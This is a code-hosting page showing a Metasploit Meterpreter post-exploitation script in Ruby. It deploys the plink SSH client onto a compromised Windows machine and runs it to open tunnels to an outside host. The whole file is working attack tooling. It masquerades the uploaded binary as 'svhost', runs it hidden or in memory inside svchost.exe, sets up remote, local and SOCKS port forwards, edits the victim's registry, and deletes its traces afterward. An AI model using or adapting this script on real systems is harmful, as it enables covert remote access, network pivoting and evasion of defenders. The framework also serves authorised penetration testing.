PageRenderTime 54ms CodeModel.GetById 18ms RepoModel.GetById 1ms app.codeStats 0ms

/scripts/meterpreter/win32-sshclient.rb

https://github.com/Jonono2/metasploit-framework
Ruby | 448 lines | 423 code | 8 blank | 17 comment | 1 complexity | 835251d8052cf7d284228f819c4c0a8a MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-3.0, LGPL-2.1, GPL-2.0
  1. #
  2. # Meterpreter script to deploy & run the "plink" commandline ssh-client
  3. # supports only MS-Windows-2k/XP/Vista Hosts
  4. #
  5. # Version 1.0
  6. # written by illegalguy
  7. #
  8. require 'net/http'
  9. require 'uri'
  10. meter_type = client.platform
  11. #
  12. # Options
  13. #
  14. @@exec_opts = Rex::Parser::Arguments.new(
  15. "-h" => [ false, "This help menu"],
  16. "-f" => [ true, "Do not download plink.exe but use given file."],
  17. "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
  18. "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
  19. "-p" => [ true, "The port of the remote SSH-server (Default:22)"],
  20. "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"],
  21. "-P" => [ true, "login with specified password"],
  22. "-b" => [ false, "disable all interactive prompts"],
  23. "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
  24. "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
  25. "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
  26. "-C" => [ false, "enable compression"],
  27. "-X" => [ false, "enable X11 forwarding"],
  28. "-x" => [ false, "disable X11 forwarding"],
  29. "-A" => [ false, "enable agent forwarding"],
  30. "-a" => [ false, "disable agent forwarding"],
  31. "-1" => [ false, "use SSH-protocol-version 1"],
  32. "-2" => [ false, "use SSH-protocol-version 2"],
  33. "-4" => [ false, "use IPv4"],
  34. "-6" => [ false, "use IPv6"],
  35. "-i" => [ true, "private key-file for authentication"],
  36. "-m" => [ true, "read remote command from file"],
  37. "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
  38. "-N" => [ false, "Don`t start a shell/command (SSH2 only)"],
  39. "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"],
  40. "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
  41. "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
  42. "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
  43. "-v" => [ false, "Give additional (debugging-)output"]
  44. )
  45. def usage
  46. print_line("plink ssh-client deploy+run script")
  47. print_line("This script will upload and run a plink ssh-cient")
  48. print_line(@@exec_opts.usage)
  49. raise Rex::Script::Completed
  50. end
  51. # Wrong Meterpreter Version Message Function
  52. #-------------------------------------------------------------------------------
  53. def wrong_meter_version(meter = meter_type)
  54. print_error("#{meter} version of Meterpreter is not supported with this Script!")
  55. raise Rex::Script::Completed
  56. end
  57. #
  58. # Default parameters
  59. #
  60. plink = File.join(Msf::Config.data_directory, "plink.exe")
  61. #plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
  62. #plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
  63. plinkurl = 'http://updates.metasploit.com/data/win32-ssh/plink.exe'
  64. license = <<-EOS
  65. PuTTY is copyright 1997-2010 Simon Tatham.
  66. Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.
  67. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
  68. The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
  69. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
  70. EOS
  71. #
  72. # Define required functions
  73. #
  74. def upload(client,file,trgloc = nil)
  75. if not ::File.exists?(file)
  76. raise "File to Upload does not exists!"
  77. else
  78. if trgloc == nil
  79. location = client.sys.config.getenv('TEMP')
  80. else
  81. location = trgloc
  82. end
  83. begin
  84. if file =~ /S*(.exe)/i
  85. fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
  86. else
  87. fileontrgt = "#{location}\\TMP#{rand(100)}"
  88. end
  89. print_status("Uploading #{file}....")
  90. client.fs.file.upload_file(fileontrgt, file)
  91. print_status("#{file} successfully uploaded to #{fileontrgt}!")
  92. rescue ::Exception => e
  93. print_status("Error uploading file #{file}: #{e.class} #{e}")
  94. end
  95. end
  96. return fileontrgt
  97. end
  98. #
  99. # Option parsing
  100. #
  101. username = nil
  102. password = nil
  103. rhost = nil
  104. rport = 22
  105. manual = nil
  106. hostkey = nil
  107. batchmode = nil
  108. remotefwd = nil
  109. localfwd = nil
  110. socksfwd = nil
  111. enablecompression = nil
  112. enablex11fwd = nil
  113. disablex11fwd = nil
  114. enableagentfwd = nil
  115. disableagentfwd = nil
  116. sshv1 = nil
  117. sshv2 = nil
  118. ipv4 = nil
  119. ipv6 = nil
  120. keyfile = nil
  121. cmdfile = nil
  122. sshsubsys = nil
  123. noshell = nil
  124. nctunnel = nil
  125. processname = "C:\\windows\\system32\\svchost.exe"
  126. verbose = nil
  127. filemode = nil
  128. downloaded = nil
  129. @@exec_opts.parse(args) { |opt, idx, val|
  130. case opt
  131. when "-h"
  132. usage
  133. when "-H"
  134. if !val
  135. print_error("-H requires an argument !")
  136. usage
  137. end
  138. rhost = val
  139. when "-f"
  140. if !val
  141. print_error("-f requires an argument !")
  142. usage
  143. end
  144. plink = val
  145. if not ::File.exists?(plink)
  146. print_error("Plink.exe not found/accessible!")
  147. usage
  148. end
  149. manual = true
  150. when "-r"
  151. if !val
  152. print_error("-r requires an argument !")
  153. usage
  154. end
  155. hostkey = val
  156. when "-p"
  157. rport = val.to_i
  158. when "-U"
  159. if !val
  160. print_error("-u requires an argument !")
  161. usage
  162. end
  163. plinkurl = val
  164. when "-u"
  165. if !val
  166. print_error("-u requires an argument !")
  167. usage
  168. end
  169. username = val
  170. when "-P"
  171. if !val
  172. print_error("-P requires an argument !")
  173. usage
  174. end
  175. password = val
  176. when "-b"
  177. batchmode = true
  178. when "-R"
  179. if !val
  180. print_error("-R requires an argument !")
  181. usage
  182. end
  183. remotefwd = val
  184. when "-L"
  185. if !val
  186. print_error("-L requires an argument !")
  187. usage
  188. end
  189. localfwd = val
  190. when "-D"
  191. if !val
  192. print_error("-D requires an argument !")
  193. usage
  194. end
  195. socksfwd = val
  196. when "-C"
  197. enablecompression = true
  198. when "-X"
  199. enablex11fwd = true
  200. when "-x"
  201. disablex11fwd = true
  202. when "-A"
  203. enableagentfwd = true
  204. when "-a"
  205. disableagentfwd = true
  206. when "-1"
  207. sshv1 = true
  208. when "-2"
  209. sshv2 = true
  210. when "-4"
  211. ipv4 = true
  212. when "-6"
  213. ipv6 = true
  214. when "-i"
  215. if !val
  216. print_error("-i requires an argument !")
  217. usage
  218. end
  219. keyfile = val
  220. if not ::File.exists?(keyfile)
  221. print_error("keyfile not found or not accessible!")
  222. usage
  223. end
  224. when "-m"
  225. if !val
  226. print_error("-m requires an argument !")
  227. usage
  228. end
  229. cmdfile = val
  230. if not ::File.exists?(cmdfile)
  231. print_error("cmd-file not found/accessible!")
  232. usage
  233. end
  234. when "-s"
  235. sshsubsys = true
  236. when "-N"
  237. noshell = true
  238. when "-n"
  239. if !val
  240. print_error("-n requires an argument !")
  241. usage
  242. end
  243. nctunnel = val
  244. when "-E"
  245. if !val
  246. print_error("-E requires an argument !")
  247. usage
  248. end
  249. processname = val
  250. when "-v"
  251. verbose = true
  252. when "-F"
  253. filemode = true
  254. else
  255. print_error("Unknown option: #{opt}")
  256. usage
  257. end
  258. }
  259. # Check for Version of Meterpreter
  260. wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
  261. if not rhost or not username
  262. print_status("You must specify a hostname (-H) and username (-u)")
  263. raise Rex::Script::Completed
  264. end
  265. #
  266. # Check if plink-file exists, and if not : download from putty-site first
  267. # Ask user before downloading
  268. #
  269. if not manual
  270. if not ::File.exists?(plink)
  271. print_status("plink.exe could not be found. Downloading it now...")
  272. print_status(license)
  273. plinkexe = Net::HTTP.get URI.parse(plinkurl)
  274. File.open(plink, "wb") { |fd| fd.write(plinkexe) }
  275. print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
  276. downloaded = true
  277. end
  278. end
  279. #
  280. # Uploading files to target
  281. #
  282. cmdfileontrgt = upload(client, cmdfile) if cmdfile
  283. keyfileontrgt = upload(client, keyfile) if keyfile
  284. trg_filename = nil
  285. if filemode
  286. print_status("-------Uploading plink -------")
  287. trg_filename = upload(client, plink)
  288. else
  289. trg_filename = plink
  290. end
  291. #
  292. # Build parameter-string
  293. #
  294. params = "-ssh "
  295. params << "-P #{rport} " if not rport == 22
  296. params << "-l #{username} "
  297. params << "-pw #{password} " if password
  298. params << "-batch " if batchmode
  299. params << "-R #{remotefwd} " if remotefwd
  300. params << "-L #{localfwd} " if localfwd
  301. params << "-D #{socksfwd} " if socksfwd
  302. params << "-C " if enablecompression
  303. params << "-X " if enablex11fwd
  304. params << "-x " if disablex11fwd
  305. params << "-A " if enableagentfwd
  306. params << "-a " if disableagentfwd
  307. params << "-1 " if sshv1
  308. params << "-2 " if sshv2
  309. params << "-4 " if ipv4
  310. params << "-6 " if ipv6
  311. params << "-m #{cmdfileontrgt} " if cmdfileontrgt
  312. params << "-i #{keyfileontrgt} " if keyfileontrgt
  313. params << "-s " if sshsubsys
  314. params << "-N " if noshell
  315. params << "-nc #{nctunnel} " if nctunnel
  316. params << rhost
  317. #
  318. # Set Registry-Value before running the client, if the param was specified
  319. #
  320. hostkeyname = nil
  321. if not hostkey == nil
  322. hostkeyname = "rsa2@#{rport}:#{rhost}"
  323. print_status("Writing the Hostkey to the registry...")
  324. client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
  325. end
  326. #
  327. # Give additional output when -v is set
  328. #
  329. if verbose
  330. print_status("You set the following parameters for plink :")
  331. print_status(params)
  332. print_status(processname)
  333. end
  334. #
  335. # Execute the client
  336. #
  337. print_status("-------Executing Client ------")
  338. p = nil
  339. if not filemode
  340. p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
  341. else
  342. p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
  343. end
  344. if noshell == nil
  345. client.console.run_single("interact #{p.channel.cid}")
  346. end
  347. if filemode
  348. if not noshell == true
  349. if verbose
  350. print_status("Waiting 3 seconds to be sure the process was closed.")
  351. end
  352. sleep(3)
  353. if verbose
  354. print_status("Deleting the uploaded plink.exe...")
  355. end
  356. client.fs.file.rm(trg_filename)
  357. else
  358. print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
  359. end
  360. end
  361. if not keyfile == nil
  362. if verbose
  363. print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
  364. end
  365. sleep(1)
  366. if verbose
  367. print_status("Deleting the keyfile !")
  368. end
  369. if verbose
  370. print_status(keyfile)
  371. end
  372. client.fs.file.rm(keyfile)
  373. end
  374. if not cmdfile == nil
  375. print_status("You need to manually delete the uploaded #{cmdfile} !")
  376. end
  377. #
  378. # Delete the registry-key that may have been created
  379. #
  380. if not hostkey == nil
  381. if verbose
  382. print_status("Deleting the registry-key set by the script.")
  383. end
  384. client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
  385. end
  386. raise Rex::Script::Completed